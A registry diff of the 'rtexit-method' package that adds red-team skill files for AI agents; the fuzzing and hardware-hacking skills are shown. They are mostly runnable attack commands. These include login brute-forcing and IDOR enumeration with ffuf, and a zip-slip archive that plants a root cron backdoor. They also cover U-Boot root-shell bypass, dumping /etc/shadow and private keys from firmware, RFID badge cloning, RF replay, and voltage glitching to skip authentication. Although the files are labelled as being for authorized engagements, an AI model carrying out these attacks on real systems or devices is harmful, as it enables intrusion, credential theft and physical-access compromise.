rtexit-method 0.1.4 → 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-adfs/SKILL.md +209 -0
- package/packaged-assets/.agents/skills/rt-azure-ad/SKILL.md +315 -0
- package/packaged-assets/.agents/skills/rt-binary-reverse-engineering/SKILL.md +304 -0
- package/packaged-assets/.agents/skills/rt-citrix-vdi/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-crypto-attacks/SKILL.md +350 -0
- package/packaged-assets/.agents/skills/rt-exchange-sharepoint/SKILL.md +256 -0
- package/packaged-assets/.agents/skills/rt-exploit-fuzzing/SKILL.md +301 -0
- package/packaged-assets/.agents/skills/rt-hardware-hacking/SKILL.md +253 -0
- package/packaged-assets/.agents/skills/rt-network-segmentation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-password-spray/SKILL.md +298 -0
- package/packaged-assets/.agents/skills/rt-redteam-infra/SKILL.md +333 -0
- package/packaged-assets/.agents/skills/rt-ssl-mitm/SKILL.md +305 -0
- package/packaged-assets/.agents/skills/rt-steganography/SKILL.md +293 -0
- package/packaged-assets/.agents/skills/rt-traffic-analysis/SKILL.md +283 -0
- package/packaged-assets/.agents/skills/rt-wireless-rogue-ap/SKILL.md +276 -0
- package/packaged-assets/.agents/skills/rt-wordlist-generation/SKILL.md +288 -0
|
@@ -0,0 +1,301 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-fuzzing
|
|
3
|
+
description: "Vulnerability discovery through fuzzing for authorized engagements. Web API fuzzing with ffuf and wfuzz, binary fuzzing with AFL++ and LibFuzzer, network protocol fuzzing with Boofuzz, HTTP parameter fuzzing, file format fuzzing, and interpreting crash outputs. Use when searching for unknown vulnerabilities in web applications, custom protocols, or compiled binaries."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-fuzzing — Fuzzing for Vulnerability Discovery
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Fuzzing sends malformed, random, or mutated inputs to a target to trigger crashes, errors, or unexpected behavior. It discovers vulnerabilities that manual testing misses — buffer overflows, format string bugs, injection points, and logic errors.
|
|
11
|
+
|
|
12
|
+
**Fuzzing targets:**
|
|
13
|
+
- Web applications (parameters, headers, paths)
|
|
14
|
+
- REST/GraphQL APIs (field types, lengths, special chars)
|
|
15
|
+
- Network protocols (custom TCP/UDP services)
|
|
16
|
+
- File parsers (images, documents, archives)
|
|
17
|
+
- Compiled binaries (local or remote)
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Type 1 — Web Application Fuzzing
|
|
22
|
+
|
|
23
|
+
### 1a — Parameter Discovery & Value Fuzzing (ffuf)
|
|
24
|
+
|
|
25
|
+
```bash
|
|
26
|
+
# Install
|
|
27
|
+
apt install ffuf -y
|
|
28
|
+
|
|
29
|
+
# Fuzz URL path segments
|
|
30
|
+
ffuf -u https://target.com/FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt \
|
|
31
|
+
-mc 200,301,302,403 -t 50 -o paths.json
|
|
32
|
+
|
|
33
|
+
# Fuzz GET parameters
|
|
34
|
+
ffuf -u "https://target.com/api?FUZZ=test" \
|
|
35
|
+
-w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt \
|
|
36
|
+
-mc 200 -fs 0
|
|
37
|
+
|
|
38
|
+
# Fuzz parameter values (injection detection)
|
|
39
|
+
ffuf -u "https://target.com/api?id=FUZZ" \
|
|
40
|
+
-w /opt/SecLists/Fuzzing/SQLi/Generic-SQLi.txt \
|
|
41
|
+
-mc 200,500 -fr "normal response text"
|
|
42
|
+
|
|
43
|
+
# Fuzz HTTP headers
|
|
44
|
+
ffuf -u "https://target.com/" -H "X-Custom-Header: FUZZ" \
|
|
45
|
+
-w /opt/SecLists/Discovery/Web-Content/common-http-headers.txt
|
|
46
|
+
|
|
47
|
+
# Fuzz JSON body fields
|
|
48
|
+
ffuf -u "https://target.com/api/user" \
|
|
49
|
+
-X POST -H "Content-Type: application/json" \
|
|
50
|
+
-d '{"FUZZ":"test"}' \
|
|
51
|
+
-w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt \
|
|
52
|
+
-mc 200 -fs 0
|
|
53
|
+
|
|
54
|
+
# Multi-position fuzzing (username + password simultaneously)
|
|
55
|
+
ffuf -u "https://target.com/login" -X POST \
|
|
56
|
+
-d "username=FUZZ&password=W1" \
|
|
57
|
+
-w users.txt:FUZZ -w passwords.txt:W1 \
|
|
58
|
+
-mc 302 -t 10
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
### 1b — Wfuzz (Advanced Filtering)
|
|
62
|
+
|
|
63
|
+
```bash
|
|
64
|
+
# Install
|
|
65
|
+
pip3 install wfuzz
|
|
66
|
+
|
|
67
|
+
# Fuzz with error detection
|
|
68
|
+
wfuzz -c -z file,/opt/SecLists/Fuzzing/special-chars.txt \
|
|
69
|
+
--hw 10 "https://target.com/search?q=FUZZ"
|
|
70
|
+
# --hw 10: hide responses with 10 words (filter baseline)
|
|
71
|
+
|
|
72
|
+
# Detect injection points by response size changes
|
|
73
|
+
wfuzz -c -z file,injections.txt \
|
|
74
|
+
--hh 1234 "https://target.com/api?id=FUZZ"
|
|
75
|
+
# --hh: hide responses with N chars (filter normal size)
|
|
76
|
+
|
|
77
|
+
# Recursive fuzzing
|
|
78
|
+
wfuzz -c -R 2 -z file,dirs.txt "https://target.com/FUZZ"
|
|
79
|
+
|
|
80
|
+
# Cookie-based session fuzzing
|
|
81
|
+
wfuzz -c -z file,payloads.txt -b "session=FUZZ" https://target.com/dashboard
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
---
|
|
85
|
+
|
|
86
|
+
## Type 2 — API-Specific Fuzzing
|
|
87
|
+
|
|
88
|
+
```bash
|
|
89
|
+
# GraphQL introspection → fuzz all fields
|
|
90
|
+
# First: discover schema
|
|
91
|
+
python3 clairvoyance.py -o schema.json https://target.com/graphql
|
|
92
|
+
|
|
93
|
+
# Generate field fuzz list from schema
|
|
94
|
+
python3 -c "
|
|
95
|
+
import json
|
|
96
|
+
with open('schema.json') as f:
|
|
97
|
+
schema = json.load(f)
|
|
98
|
+
for t in schema.get('types', []):
|
|
99
|
+
for field in t.get('fields', []) or []:
|
|
100
|
+
print(field['name'])
|
|
101
|
+
" > graphql_fields.txt
|
|
102
|
+
|
|
103
|
+
# Fuzz each field value
|
|
104
|
+
ffuf -u "https://target.com/graphql" \
|
|
105
|
+
-X POST -H "Content-Type: application/json" \
|
|
106
|
+
-d '{"query":"{ user(id: FUZZ) { id name email } }"}' \
|
|
107
|
+
-w /opt/SecLists/Fuzzing/Integers/Integers.txt \
|
|
108
|
+
-mc 200 -mr '"errors"'
|
|
109
|
+
|
|
110
|
+
# REST API — fuzz IDs for IDOR
|
|
111
|
+
seq 1 10000 | ffuf -u "https://target.com/api/users/FUZZ" \
|
|
112
|
+
-w - -mc 200 -t 20
|
|
113
|
+
|
|
114
|
+
# Fuzz request body for mass assignment
|
|
115
|
+
ffuf -u "https://target.com/api/user/update" \
|
|
116
|
+
-X PUT -H "Content-Type: application/json" \
|
|
117
|
+
-d '{"FUZZ":"injected"}' \
|
|
118
|
+
-w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt \
|
|
119
|
+
-mc 200
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## Type 3 — Binary Fuzzing with AFL++
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# Install AFL++
|
|
128
|
+
apt install afl++ -y
|
|
129
|
+
# Or from source: github.com/AFLplusplus/AFLplusplus
|
|
130
|
+
|
|
131
|
+
# Basic fuzzing of a binary that reads from stdin
|
|
132
|
+
mkdir afl_in afl_out
|
|
133
|
+
echo "normal_input" > afl_in/seed1
|
|
134
|
+
|
|
135
|
+
AFL_SKIP_CPUFREQ=1 afl-fuzz -i afl_in -o afl_out -- ./target_binary @@
|
|
136
|
+
# @@ = AFL replaces with path to mutated input file
|
|
137
|
+
|
|
138
|
+
# Fuzzing with shared memory (faster)
|
|
139
|
+
afl-fuzz -i afl_in -o afl_out -m none -- ./target_binary
|
|
140
|
+
|
|
141
|
+
# Fuzzing file parsers (image, PDF, XML)
|
|
142
|
+
echo '<?xml version="1.0"?><root>test</root>' > afl_in/seed.xml
|
|
143
|
+
afl-fuzz -i afl_in -o afl_out -- ./xml_parser @@
|
|
144
|
+
|
|
145
|
+
# Check crash results
|
|
146
|
+
ls afl_out/crashes/
|
|
147
|
+
# Each file = input that caused a crash
|
|
148
|
+
|
|
149
|
+
# Minimize and analyze crash
|
|
150
|
+
afl-tmin -i afl_out/crashes/id:000001 -o min_crash -- ./target_binary @@
|
|
151
|
+
gdb ./target_binary --args ./target_binary min_crash
|
|
152
|
+
# bt → backtrace → identify vulnerability type
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
### 3a — Network Binary Fuzzing (Boofuzz)
|
|
156
|
+
|
|
157
|
+
```bash
|
|
158
|
+
pip3 install boofuzz
|
|
159
|
+
|
|
160
|
+
# Basic TCP service fuzzer
|
|
161
|
+
python3 << 'EOF'
|
|
162
|
+
from boofuzz import *
|
|
163
|
+
|
|
164
|
+
def main():
|
|
165
|
+
session = Session(target=Target(
|
|
166
|
+
connection=TCPSocketConnection("TARGET_IP", 9999)
|
|
167
|
+
))
|
|
168
|
+
|
|
169
|
+
# Define protocol message structure
|
|
170
|
+
s_initialize("REQUEST")
|
|
171
|
+
s_string("GET") # command
|
|
172
|
+
s_delim(" ")
|
|
173
|
+
s_string("FUZZ_TARGET") # fuzzed field
|
|
174
|
+
s_delim("\r\n")
|
|
175
|
+
s_static("\r\n")
|
|
176
|
+
|
|
177
|
+
session.connect(s_get("REQUEST"))
|
|
178
|
+
session.fuzz()
|
|
179
|
+
|
|
180
|
+
if __name__ == "__main__":
|
|
181
|
+
main()
|
|
182
|
+
EOF
|
|
183
|
+
|
|
184
|
+
python3 fuzzer.py
|
|
185
|
+
# Monitor: http://127.0.0.1:26000 (boofuzz web UI)
|
|
186
|
+
# Crashes logged automatically
|
|
187
|
+
```
|
|
188
|
+
|
|
189
|
+
---
|
|
190
|
+
|
|
191
|
+
## Type 4 — File Format Fuzzing
|
|
192
|
+
|
|
193
|
+
```bash
|
|
194
|
+
# Radamsa — general purpose file mutator
|
|
195
|
+
apt install radamsa -y
|
|
196
|
+
|
|
197
|
+
# Generate 1000 mutated inputs from valid seed
|
|
198
|
+
radamsa -n 1000 -o mutated_%n.jpg valid_image.jpg
|
|
199
|
+
|
|
200
|
+
# Feed to target parser
|
|
201
|
+
for f in mutated_*.jpg; do
|
|
202
|
+
timeout 2 ./image_parser "$f" 2>/dev/null
|
|
203
|
+
if [ $? -eq 139 ]; then # 139 = segfault
|
|
204
|
+
echo "CRASH: $f"
|
|
205
|
+
cp "$f" crashes/
|
|
206
|
+
fi
|
|
207
|
+
done
|
|
208
|
+
|
|
209
|
+
# PDF fuzzing (common in enterprise — email attachments)
|
|
210
|
+
radamsa -n 100 valid.pdf | xargs -I{} -P10 sh -c 'echo {} | timeout 2 pdfparser {}'
|
|
211
|
+
|
|
212
|
+
# ZIP/Archive fuzzing (path traversal, zip bombs)
|
|
213
|
+
python3 << 'EOF'
|
|
214
|
+
import zipfile, io, random, string
|
|
215
|
+
|
|
216
|
+
# Zip slip attack: file with ../../etc/passwd in name
|
|
217
|
+
with zipfile.ZipFile("zipslip.zip", "w") as z:
|
|
218
|
+
z.writestr("../../../tmp/pwned.txt", "pwned")
|
|
219
|
+
z.writestr("../../../../etc/cron.d/backdoor", "* * * * * root id > /tmp/id")
|
|
220
|
+
EOF
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
---
|
|
224
|
+
|
|
225
|
+
## Type 5 — LibFuzzer (In-Process Fuzzing)
|
|
226
|
+
|
|
227
|
+
```c
|
|
228
|
+
// libfuzzer_target.c — wrap your target function
|
|
229
|
+
#include <stdint.h>
|
|
230
|
+
#include <stddef.h>
|
|
231
|
+
|
|
232
|
+
// This is the function LibFuzzer will call repeatedly
|
|
233
|
+
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
|
|
234
|
+
if (size < 4) return 0;
|
|
235
|
+
|
|
236
|
+
// Call your target function with fuzz data
|
|
237
|
+
parse_user_input(data, size);
|
|
238
|
+
return 0;
|
|
239
|
+
}
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
```bash
|
|
243
|
+
# Compile with sanitizers for crash detection
|
|
244
|
+
clang -fsanitize=fuzzer,address,undefined \
|
|
245
|
+
libfuzzer_target.c target_library.c \
|
|
246
|
+
-o fuzz_target
|
|
247
|
+
|
|
248
|
+
# Run fuzzer
|
|
249
|
+
./fuzz_target corpus/ -max_len=1024 -jobs=4
|
|
250
|
+
|
|
251
|
+
# Crashes saved automatically as crash-* files
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
---
|
|
255
|
+
|
|
256
|
+
## Interpreting Results
|
|
257
|
+
|
|
258
|
+
```bash
|
|
259
|
+
# Web fuzzing — interesting responses:
|
|
260
|
+
# 500 Internal Server Error = potential injection, exception
|
|
261
|
+
# 200 with much larger/smaller response = different code path
|
|
262
|
+
# Response time spike = potential DoS or sleep-based injection
|
|
263
|
+
|
|
264
|
+
# Binary fuzzing — crash types:
|
|
265
|
+
# SIGSEGV (11) = segmentation fault → potential buffer overflow
|
|
266
|
+
# SIGABRT (6) = assertion failed → logic bug
|
|
267
|
+
# Heap buffer overflow → check with AddressSanitizer output
|
|
268
|
+
|
|
269
|
+
# Triage crashes with GDB
|
|
270
|
+
gdb ./target
|
|
271
|
+
run < crash_input
|
|
272
|
+
bt # backtrace
|
|
273
|
+
info reg # register state at crash
|
|
274
|
+
x/20x $rsp # stack contents
|
|
275
|
+
|
|
276
|
+
# Check exploitability
|
|
277
|
+
pip3 install exploitable
|
|
278
|
+
gdb -batch -ex "run < crash" -ex "exploitable" ./target
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
---
|
|
282
|
+
|
|
283
|
+
## Skill Levels
|
|
284
|
+
|
|
285
|
+
**BEGINNER:** ffuf for directory/parameter discovery · Radamsa for file mutation · observe HTTP error codes
|
|
286
|
+
|
|
287
|
+
**INTERMEDIATE:** AFL++ for binary fuzzing · Boofuzz for network protocols · crash triage with GDB
|
|
288
|
+
|
|
289
|
+
**ADVANCED:** LibFuzzer with sanitizers · coverage-guided fuzzing · exploit primitive identification from crashes
|
|
290
|
+
|
|
291
|
+
**EXPERT:** Custom mutators · protocol state machine fuzzing · from crash to working exploit
|
|
292
|
+
|
|
293
|
+
---
|
|
294
|
+
|
|
295
|
+
## References
|
|
296
|
+
|
|
297
|
+
- AFL++: https://github.com/AFLplusplus/AFLplusplus
|
|
298
|
+
- Boofuzz: https://github.com/jtpereyda/boofuzz
|
|
299
|
+
- ffuf: https://github.com/ffuf/ffuf
|
|
300
|
+
- Radamsa: https://gitlab.com/akihe/radamsa
|
|
301
|
+
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
|
|
@@ -0,0 +1,253 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-hardware-hacking
|
|
3
|
+
description: "Hardware security testing skill for authorized engagements. JTAG/SWD debug port access and firmware extraction, UART console access for root shells, firmware analysis with binwalk and Ghidra, I2C/SPI EEPROM dumping, default credential testing on embedded devices, hardware fault injection (voltage glitching), chip-off NAND flash extraction, and Flipper Zero for RF/NFC/RFID attacks. Use when testing IoT devices, embedded systems, network equipment, or physical security hardware in authorized engagements."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-hardware-hacking — Hardware Security & Embedded Systems
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Hardware hacking attacks the physical layer of devices — firmware, debug interfaces, and hardware protocols. IoT devices, routers, PLCs, and security hardware often have debug ports enabled, weak firmware protections, and hardcoded credentials.
|
|
11
|
+
|
|
12
|
+
**Required tools:** Multimeter, UART-USB adapter (CP2102/FTDI), JTAG programmer (J-Link/OpenOCD), logic analyzer, soldering iron, Flipper Zero.
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Phase 1 — Physical Interface Discovery
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
# Visual inspection — find debug ports on PCB
|
|
20
|
+
# Look for: 4-pin or 6-pin headers, test pads, labeled silkscreen (UART, JTAG, SWD, DEBUG)
|
|
21
|
+
|
|
22
|
+
# Common interfaces to look for:
|
|
23
|
+
# UART: 4 pins (VCC, GND, TX, RX) — usually 3.3V serial console
|
|
24
|
+
# JTAG: 20-pin or 10-pin header (TDI, TDO, TCK, TMS, TRST, GND)
|
|
25
|
+
# SWD: 2-pin (SWDIO, SWDCLK) — ARM Cortex debug
|
|
26
|
+
# I2C: 2-wire (SDA, SCL) — connects to EEPROM, sensors
|
|
27
|
+
# SPI: 4-wire (MOSI, MISO, SCK, CS) — flash memory
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
---
|
|
31
|
+
|
|
32
|
+
## Phase 2 — UART Console Access
|
|
33
|
+
|
|
34
|
+
```bash
|
|
35
|
+
# UART = Universal Asynchronous Receiver/Transmitter
|
|
36
|
+
# Often provides: bootloader access, root shell, debug output
|
|
37
|
+
|
|
38
|
+
# Step 1: Identify UART pins with multimeter
|
|
39
|
+
# VCC: ~3.3V or 5V constant
|
|
40
|
+
# GND: 0V constant
|
|
41
|
+
# TX: Fluctuates 0-3.3V during boot
|
|
42
|
+
# RX: Usually high (3.3V) when idle
|
|
43
|
+
|
|
44
|
+
# Step 2: Find baud rate
|
|
45
|
+
# Connect logic analyzer to TX pin → capture during boot
|
|
46
|
+
# Use sigrok/PulseView to decode
|
|
47
|
+
# Common rates: 115200, 57600, 38400, 9600
|
|
48
|
+
|
|
49
|
+
# Step 3: Connect UART-USB adapter
|
|
50
|
+
# Adapter RX → Device TX
|
|
51
|
+
# Adapter TX → Device RX
|
|
52
|
+
# GND → GND (NEVER connect VCC unless powering device)
|
|
53
|
+
|
|
54
|
+
# Step 4: Connect with minicom/screen
|
|
55
|
+
minicom -D /dev/ttyUSB0 -b 115200
|
|
56
|
+
screen /dev/ttyUSB0 115200
|
|
57
|
+
|
|
58
|
+
# Common results:
|
|
59
|
+
# U-Boot bootloader prompt: Hit any key to stop autoboot → full access
|
|
60
|
+
# Login prompt: try root/root, admin/admin, root/(blank)
|
|
61
|
+
# BusyBox shell: direct root access
|
|
62
|
+
|
|
63
|
+
# U-Boot exploitation
|
|
64
|
+
# At "Hit any key" prompt:
|
|
65
|
+
printenv # See environment variables (contains passwords sometimes)
|
|
66
|
+
setenv bootargs "console=ttyS0,115200 root=/dev/mtdblock2 init=/bin/sh"
|
|
67
|
+
boot # Boot to root shell
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
---
|
|
71
|
+
|
|
72
|
+
## Phase 3 — JTAG Firmware Extraction
|
|
73
|
+
|
|
74
|
+
```bash
|
|
75
|
+
# JTAG = debug interface for processors
|
|
76
|
+
# Provides: halt CPU, read/write memory, extract firmware
|
|
77
|
+
|
|
78
|
+
# Connect J-Link or Bus Pirate to JTAG header
|
|
79
|
+
# Pin mapping (20-pin ARM JTAG):
|
|
80
|
+
# 1=VCC, 3=TRST, 5=TDI, 7=TMS, 9=TCK, 11=RTCK, 13=TDO, 15=RESET, 17-19=NC, 2,4,6,8,10,12,14,16,18,20=GND
|
|
81
|
+
|
|
82
|
+
# OpenOCD — open source JTAG/SWD tool
|
|
83
|
+
apt install openocd -y
|
|
84
|
+
|
|
85
|
+
# Config for common targets
|
|
86
|
+
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg
|
|
87
|
+
# Or autodetect:
|
|
88
|
+
openocd -f interface/jlink.cfg -c "transport select jtag" -f target/auto.cfg
|
|
89
|
+
|
|
90
|
+
# In OpenOCD telnet (port 4444):
|
|
91
|
+
telnet localhost 4444
|
|
92
|
+
halt # Stop CPU
|
|
93
|
+
dump_image firmware.bin 0x08000000 0x100000 # Dump flash
|
|
94
|
+
# Address varies by chip: 0x08000000 = STM32 flash start
|
|
95
|
+
|
|
96
|
+
# Read entire memory map
|
|
97
|
+
mdw 0x08000000 256 # Dump 256 words from address
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## Phase 4 — SPI/I2C EEPROM Dumping
|
|
103
|
+
|
|
104
|
+
```bash
|
|
105
|
+
# EEPROM stores: firmware, credentials, certificates, encryption keys
|
|
106
|
+
|
|
107
|
+
# Identify chip: read markings, look up datasheet
|
|
108
|
+
# Common: Winbond W25Q series (SPI flash), AT24C series (I2C EEPROM)
|
|
109
|
+
|
|
110
|
+
# Method A: In-circuit with flashrom (SPI)
|
|
111
|
+
flashrom -p serprog:dev=/dev/ttyUSB0:115200 -r firmware.bin
|
|
112
|
+
flashrom -p ch341a_spi -r firmware.bin # CH341A USB SPI programmer
|
|
113
|
+
flashrom -p linux_spi:dev=/dev/spidev0.0 -r firmware.bin # Raspberry Pi SPI
|
|
114
|
+
|
|
115
|
+
# Method B: Chip-off (desolder + read externally)
|
|
116
|
+
# Desolder chip → place in programmer socket → read
|
|
117
|
+
# Programmer: TL866II Plus, T48, or CH341A
|
|
118
|
+
|
|
119
|
+
# Identify flash layout
|
|
120
|
+
binwalk firmware.bin
|
|
121
|
+
# Output:
|
|
122
|
+
# DECIMAL HEX DESCRIPTION
|
|
123
|
+
# 0 0x0 U-Boot bootloader
|
|
124
|
+
# 65536 0x10000 Linux kernel (gzip)
|
|
125
|
+
# 327680 0x50000 Squashfs filesystem
|
|
126
|
+
|
|
127
|
+
# Extract filesystem
|
|
128
|
+
binwalk -e firmware.bin
|
|
129
|
+
cd _firmware.bin.extracted/
|
|
130
|
+
# Find credentials
|
|
131
|
+
grep -r "password\|passwd\|admin\|root" squashfs-root/etc/
|
|
132
|
+
cat squashfs-root/etc/shadow
|
|
133
|
+
cat squashfs-root/etc/passwd
|
|
134
|
+
|
|
135
|
+
# Find hardcoded keys/certs
|
|
136
|
+
find squashfs-root/ -name "*.pem" -o -name "*.key" -o -name "*.crt" 2>/dev/null
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
---
|
|
140
|
+
|
|
141
|
+
## Phase 5 — Firmware Analysis
|
|
142
|
+
|
|
143
|
+
```bash
|
|
144
|
+
# After extraction with binwalk
|
|
145
|
+
|
|
146
|
+
# Find hardcoded credentials
|
|
147
|
+
grep -r "password\|passwd\|secret\|admin" squashfs-root/ --include="*.conf" --include="*.xml"
|
|
148
|
+
strings firmware.bin | grep -E "(admin|root|password)[=:]"
|
|
149
|
+
|
|
150
|
+
# Extract private keys
|
|
151
|
+
grep -r "BEGIN.*PRIVATE KEY" squashfs-root/
|
|
152
|
+
find squashfs-root/ -name "*.pem" -exec cat {} \;
|
|
153
|
+
|
|
154
|
+
# Find web interface credentials
|
|
155
|
+
find squashfs-root/ -name "htpasswd" -o -name "*.shadow"
|
|
156
|
+
cat squashfs-root/etc/lighttpd/lighttpd.conf | grep -i "password\|auth"
|
|
157
|
+
|
|
158
|
+
# Find SSL/TLS private keys (HTTPS decryption)
|
|
159
|
+
find squashfs-root/ -name "server.key" -o -name "ssl.key"
|
|
160
|
+
# Extract → use to decrypt captured HTTPS traffic in Wireshark
|
|
161
|
+
|
|
162
|
+
# Identify update mechanism (for firmware backdoor)
|
|
163
|
+
grep -r "firmware\|update\|upgrade" squashfs-root/usr/sbin/ 2>/dev/null
|
|
164
|
+
# Look for: unsigned update validation → can flash backdoored firmware
|
|
165
|
+
|
|
166
|
+
# Emulate firmware with QEMU
|
|
167
|
+
apt install qemu-user-static -y
|
|
168
|
+
file squashfs-root/bin/busybox # Check architecture (MIPS, ARM, etc.)
|
|
169
|
+
chroot squashfs-root/ /bin/sh # Emulate if same arch
|
|
170
|
+
# Or: firmadyne for full emulation
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
---
|
|
174
|
+
|
|
175
|
+
## Phase 6 — Flipper Zero Attacks
|
|
176
|
+
|
|
177
|
+
```bash
|
|
178
|
+
# Flipper Zero: Swiss Army knife for hardware/RF attacks
|
|
179
|
+
|
|
180
|
+
# RFID/NFC Badge Cloning (Physical Access)
|
|
181
|
+
# 125kHz (LF) badges: HID, EM4100 — common in older buildings
|
|
182
|
+
# Flipper: NFC → Read → saves to card file
|
|
183
|
+
# Flipper: NFC → Saved → Emulate → badge reader accepts it
|
|
184
|
+
|
|
185
|
+
# Common badge protocol reading
|
|
186
|
+
# 13.56MHz (HF): Mifare Classic, NTAG213
|
|
187
|
+
# flipper: NFC → Detect Reader → determine protocol
|
|
188
|
+
# Mifare Classic (many old systems): weak crypto → clone/clone
|
|
189
|
+
|
|
190
|
+
# Sub-GHz RF attacks
|
|
191
|
+
# Flipper: Sub-GHz → Frequency Analyzer → scan for device transmissions
|
|
192
|
+
# Record and replay: garage doors, parking barriers (rolling code: won't work; fixed code: works)
|
|
193
|
+
# Brute-force: Sub-GHz → Some Attack → try all codes for fixed-code systems
|
|
194
|
+
|
|
195
|
+
# IR (Infrared) — security cameras, access control panels
|
|
196
|
+
# Flipper: Infrared → Universal Remotes → test all codes
|
|
197
|
+
# Record target remote → replay
|
|
198
|
+
|
|
199
|
+
# GPIO + UART
|
|
200
|
+
# Connect Flipper GPIO to device UART → use as UART terminal
|
|
201
|
+
# Flipper: GPIO → USB-UART Bridge
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
## Phase 7 — Fault Injection / Voltage Glitching
|
|
207
|
+
|
|
208
|
+
```bash
|
|
209
|
+
# Brief voltage drop can cause CPU to skip instructions
|
|
210
|
+
# Common target: skip authentication check, disable secure boot
|
|
211
|
+
|
|
212
|
+
# Concept: drop VCC for ~100ns at precise moment during boot
|
|
213
|
+
# Equipment: ChipWhisperer (professional), Raspberry Pi Pico (DIY)
|
|
214
|
+
|
|
215
|
+
# ChipWhisperer basic glitch
|
|
216
|
+
import chipwhisperer as cw
|
|
217
|
+
scope = cw.scope()
|
|
218
|
+
scope.glitch.clk_src = "clkgen"
|
|
219
|
+
scope.glitch.output = "glitch_only"
|
|
220
|
+
scope.glitch.trigger_src = "ext_single"
|
|
221
|
+
scope.glitch.width = 5 # Width in cycles
|
|
222
|
+
scope.glitch.offset = -45 # Timing offset
|
|
223
|
+
scope.arm()
|
|
224
|
+
# Trigger → scope fires glitch → observe if auth bypassed
|
|
225
|
+
|
|
226
|
+
# EMFI (Electromagnetic Fault Injection)
|
|
227
|
+
# Coil near target chip → EM pulse at right moment → same effect as voltage glitch
|
|
228
|
+
# Tools: Riscure EM probe, DIY ferrite core coil
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
---
|
|
232
|
+
|
|
233
|
+
## Skill Levels
|
|
234
|
+
|
|
235
|
+
**BEGINNER:** UART connection + default credentials · binwalk firmware extraction · Flipper Zero for RFID cloning
|
|
236
|
+
|
|
237
|
+
**INTERMEDIATE:** JTAG/SWD firmware dump with OpenOCD · SPI EEPROM extraction with flashrom · Firmware analysis for credentials
|
|
238
|
+
|
|
239
|
+
**ADVANCED:** Chip-off extraction + NAND flash reconstruction · U-Boot exploitation · Sub-GHz replay attacks
|
|
240
|
+
|
|
241
|
+
**EXPERT:** Voltage glitching for secure boot bypass · Custom JTAG scripts for proprietary chips · EMFI attacks
|
|
242
|
+
|
|
243
|
+
---
|
|
244
|
+
|
|
245
|
+
## References
|
|
246
|
+
|
|
247
|
+
- OpenOCD: https://openocd.org
|
|
248
|
+
- flashrom: https://flashrom.org
|
|
249
|
+
- binwalk: https://github.com/ReFirmLabs/binwalk
|
|
250
|
+
- Flipper Zero: https://flipperzero.one
|
|
251
|
+
- ChipWhisperer: https://github.com/newaetech/chipwhisperer
|
|
252
|
+
- OWASP IoT Attack Surface: https://owasp.org/www-project-internet-of-things/
|
|
253
|
+
- MITRE T0862: https://attack.mitre.org/techniques/T0862/
|